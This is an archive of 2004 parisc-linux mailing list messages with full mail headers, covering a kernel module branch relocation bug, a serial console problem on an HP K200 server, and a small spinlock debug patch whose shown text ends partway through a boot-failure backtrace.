X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 18:53:09 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200411292353.iATNrAc4005771@hiauly1.hia.nrc.ca>
References: <20041127064710.GL9148@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623610 11872 80.91.229.3 (22 Nov 2014 02:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18549 invoked by uid 65534); 30 Nov 2004 00:26:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 30 Nov 2004 01:26:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6816E3BE53; Mon, 29 Nov 2004 16:53:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02982-07; Mon, 29 Nov 2004 16:53:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C5F963BE54; Mon, 29 Nov 2004 16:53:27 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E9F83BE52
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:53:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02617-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:53:13 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8F67A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:53:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iATNrAko005772; Mon, 29 Nov 2004 18:53:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iATNrAc4005771;
	Mon, 29 Nov 2004 18:53:10 -0500 (EST)
In-Reply-To: <20041127064710.GL9148@tausq.org> from "Randolph Chung" at Nov 27,
	2004 01:47:10 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22159

> to fix this we will probably need to introduce long branch stubs into 
> into the kernel module loader. anybody want to give this a shot?

Another option which is probably less work is to build your kernel
and modules with -mpa-risc-2-0.  This should give you 22-bit branches.

There is also -mlong-calls.  Not too well tested but in theory it
should always avoid the above problem.  It's much more expensive
than -mpa-risc-2-0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console problem
Date: Wed, 1 Dec 2004 01:17:40 +0100
Organization: ESIEE
Lines: 31
Approved: news@gmane.org
Message-ID: <20041201011740.29c72867@Tatooine.r3z0>
References: <Pine.LNX.4.58.0411301543230.17128@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623610 11874 80.91.229.3 (22 Nov 2014 02:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rray@tcmail.mstc.state.ms.us
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7643 invoked by uid 65534); 1 Dec 2004 00:18:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 01 Dec 2004 01:18:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4094C3BE60; Tue, 30 Nov 2004 17:18:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15497-09; Tue, 30 Nov 2004 17:18:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7FE523BE62; Tue, 30 Nov 2004 17:18:01 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 171FA3BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 17:17:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15662-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 17:17:55 -0700 (MST)
Original-Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176])
	by free.linux.hp.com (Postfix) with ESMTP id 940F03BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 17:17:54 -0700 (MST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix4-2.free.fr (Postfix) with ESMTP id 0490C2356C1;
	Wed,  1 Dec 2004 01:17:53 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 0948733C4D; Wed,  1 Dec 2004 01:17:48 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with SMTP id 7DBF733BB6;
	Wed,  1 Dec 2004 01:17:41 +0100 (CET)
In-Reply-To: <Pine.LNX.4.58.0411301543230.17128@rray.drdc.mstc.ms.gov>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on Tatooine.r3z0
X-Spam-Status: No, hits=-50.0 required=5.0 tests=LOCAL_RCVD autolearn=no 
	version=2.64
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22160


On Tue, 30 Nov 2004 15:51:49 -0600 (CST)
rray@tcmail.mstc.state.ms.us wrote:

> Hey all,
> 
> I've just installed Debian on a 9000/819 K200.
> The base install went fine after I changed the console to ttyB0.
> After the reboot I get the dredded "If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at
> parisc-linux.org". And this is the last thing I see.
> I've seen references in the mailing list about switching consoles but
> not what this really means.
> I only have one console connected with a serial cable to the console
> port of the server.
> Could someone give me a little more info.

Read this:
http://www.pateam.org/doc.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rray@tcmail.mstc.state.ms.us
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Console problem
Date: Tue, 30 Nov 2004 15:51:49 -0600 (CST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0411301543230.17128@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623610 11877 80.91.229.3 (22 Nov 2014 02:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17173 invoked by uid 65534); 30 Nov 2004 21:54:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 30 Nov 2004 22:54:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A2F513BE53; Tue, 30 Nov 2004 14:54:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15468-06; Tue, 30 Nov 2004 14:54:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8E0313BE62; Tue, 30 Nov 2004 14:54:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EC8C3BE5A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 14:54:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15468-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 14:54:07 -0700 (MST)
Original-Received: from itspmx1.state.ms.us (e3000a.state.ms.us [205.144.224.140])
	by free.linux.hp.com (Postfix) with ESMTP id 94E8A3BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 14:54:06 -0700 (MST)
Original-Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220])
	by itspmx1.state.ms.us (8.12.10/8.12.10) with SMTP id iAULoYZW021810
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 15:50:34 -0600 (CST)
	(envelope-from rray@tcmail.mstc.state.ms.us)
Original-Received: from rray.drdc.mstc.ms.gov ([172.17.32.2])
	by tcmail.mstc.state.ms.us; Tue, 30 Nov 2004 15:53:56 -0600
Original-Received: from rray.drdc.mstc.ms.gov (rray.drdc.mstc.ms.gov [127.0.0.1])
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11) with ESMTP id iAULpojv001034
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 15:51:50 -0600
Original-Received: from localhost (rray@localhost)
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11/Submit) with ESMTP id
	iAULpnYc001031 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Nov 2004 15:51:49 -0600
X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs
X-X-Sender: rray@rray.drdc.mstc.ms.gov
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22161

Hey all,

I've just installed Debian on a 9000/819 K200.
The base install went fine after I changed the console to ttyB0.
After the reboot I get the dredded "If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org".
And this is the last thing I see.
I've seen references in the mailing list about switching consoles but not
what this really means.
I only have one console connected with a serial cable to the console port
of the server.
Could someone give me a little more info.

Thanks
Richard Ray
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console problem
Date: Wed, 01 Dec 2004 09:23:00 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <41AD7F64.2040404@lycos.nl>
References: <Pine.LNX.4.58.0411301543230.17128@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623611 11881 80.91.229.3 (22 Nov 2014 02:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rray@tcmail.mstc.state.ms.us
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27724 invoked by uid 65534); 1 Dec 2004 08:24:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 01 Dec 2004 09:24:06 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 513AF3BE5F; Wed,  1 Dec 2004 01:23:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20254-08; Wed, 1 Dec 2004 01:23:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C4BFC3BE62; Wed,  1 Dec 2004 01:23:10 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BFAD3BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 01:23:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20254-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 01:23:04 -0700 (MST)
Original-Received: from lmfilto03.st1.spray.net (lmfilto03.st1.spray.net
	[212.78.202.217])
	by free.linux.hp.com (Postfix) with ESMTP id 910E63BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 01:23:03 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto03.st1.spray.net (Postfix) with ESMTP
	id A649E199549; Wed,  1 Dec 2004 08:23:01 +0000 (GMT)
Original-Received: from lmsmtp02.st1.spray.net ([212.78.202.112])
	by localhost (lmfilto03.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 05173-09; Wed,  1 Dec 2004 08:23:01 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp02.st1.spray.net (Postfix) with ESMTP id C79C39A;
	Wed,  1 Dec 2004 08:23:00 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
In-Reply-To: <Pine.LNX.4.58.0411301543230.17128@rray.drdc.mstc.ms.gov>
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: RO
X-Status: RC
X-KMail-EncryptionState: N
X-KMail-SignatureState: N
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22162

rray@tcmail.mstc.state.ms.us wrote:
> Hey all,
> 
> I've just installed Debian on a 9000/819 K200.
> The base install went fine after I changed the console to ttyB0.
> After the reboot I get the dredded "If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org".
> And this is the last thing I see.
> I've seen references in the mailing list about switching consoles but not
> what this really means.
> I only have one console connected with a serial cable to the console port
> of the server.
> Could someone give me a little more info.

This all depends on the base system (your K200 here) and sometimes additional 
hardware.

I don't know details on your K200 but for example my (now gone) D210 was verry 
basic: just a processor, memory, disk and tape. No additional terminal cards or 
such. This box just continued after a relative long time with the kernel loading 
messages. Your tip: patience...

My (still pressent) D370 has an additional service card with an UPS connector 
and a phone-connector. With this system, I had to plug the console from the 
first to the second serial connector. After removing the board, the console 
stays on the first serial connector. Your tip: remove not necessary boards from 
the system, just to get it going.

I recall from messages on this list that machines with serial consoles on 
expansion boards (boards with multiple serial connectors) do have problems with 
their console since the boards are not that well (read not at all) supported due 
to lack of documentation.

Hence, check the documentation on all pages mentioned at the debian-porting 
page: http://www.debian.org/ports/hppa/


CBee


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] trivial patch for CONFIG_DEBUG_RWLOCK: pb to build
	kernel but ...
Date: Wed, 1 Dec 2004 11:45:42 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <418A8025000099B9@mail-2-bnl.tiscali.it>
References: <418A8131000077FC@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623611 11884 80.91.229.3 (22 Nov 2014 02:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30463 invoked by uid 65534); 1 Dec 2004 10:50:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 01 Dec 2004 11:50:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BF5073BE60; Wed,  1 Dec 2004 03:46:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22143-01; Wed, 1 Dec 2004 03:46:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BFC5C3BE62; Wed,  1 Dec 2004 03:45:53 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3EE83BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 03:45:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21232-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 03:45:44 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (unknown [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id 1D3BF3BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 03:45:44 -0700 (MST)
Original-Received: from mail-2-bnl.tiscali.it (10.39.115.132) by mrq-2.tiscalinet.it
	(7.0.028)
	id 419A120A001ACEC1 for parisc-linux@lists.parisc-linux.org;
	Wed, 1 Dec 2004 11:45:42 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 1 Dec 2004 11:45:42 +0100
In-Reply-To: <418A8131000077FC@mail-7-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22163

Hello all,
> 

> And so I tried to compile kernel with CONFIG_DEBUG_RWLOCK=3Dy
> 
> but unfortuantely it early failed to build:
>   hppa64-linux-gcc -Wp,-MD,kernel/.spinlock.o.d -nostdinc -iwithprefix
include
> -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs -fno-s=
trict-aliasing
> -fno-common -O2 -fomit-frame-pointer -pipe -mno-space-regs -mfast-indir=
ect-calls
> -ffunction-sections -march=3D2.0 -mschedule=3D8000 -Wdeclaration-after-=
statement
>    -DKBUILD_BASENAME=3Dspinlock -DKBUILD_MODNAME=3Dspinlock -c -o kerne=
l/spinlock.o
> kernel/spinlock.c
> kernel/spinlock.c: In function `_write_trylock':
> kernel/spinlock.c:28: void value not ignored as it ought to be
> make[1]: *** [kernel/spinlock.o] Error 1
> make: *** [kernel] Error 2
> 
this trivial patch fix the pb of compilation:
--- include/asm-parisc/spinlock.h.Orig	2004-12-01 11:00:47.428581204 +010=
0
+++ ./include/asm-parisc/spinlock.h	2004-12-01 10:34:58.469054337 +0100
@@ -223,7 +223,7 @@
 }
 
 #ifdef CONFIG_DEBUG_RWLOCK
-extern void _dbg_write_trylock(rwlock_t * rw, const char *bfile, int bli=
ne);
+extern int _dbg_write_trylock(rwlock_t * rw, const char *bfile, int blin=
e);
 #define _raw_write_trylock(rw) _dbg_write_trylock(rw, __FILE__, __LINE__=
)
 #else
 static  __inline__ int _raw_write_trylock(rwlock_t *rw)
=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

but unfortunately failled to boot:
NET: Registered protocol family 16
write_lock caller: kernel/spinlock.c:211, IRQs enabled,
                                                       kernel BUG at arch=
/parisc/lib/debuglocks.c:171!
Backtrace:
 [<0000000010384ec0>] sock_alloc_inode+0x28/0x90
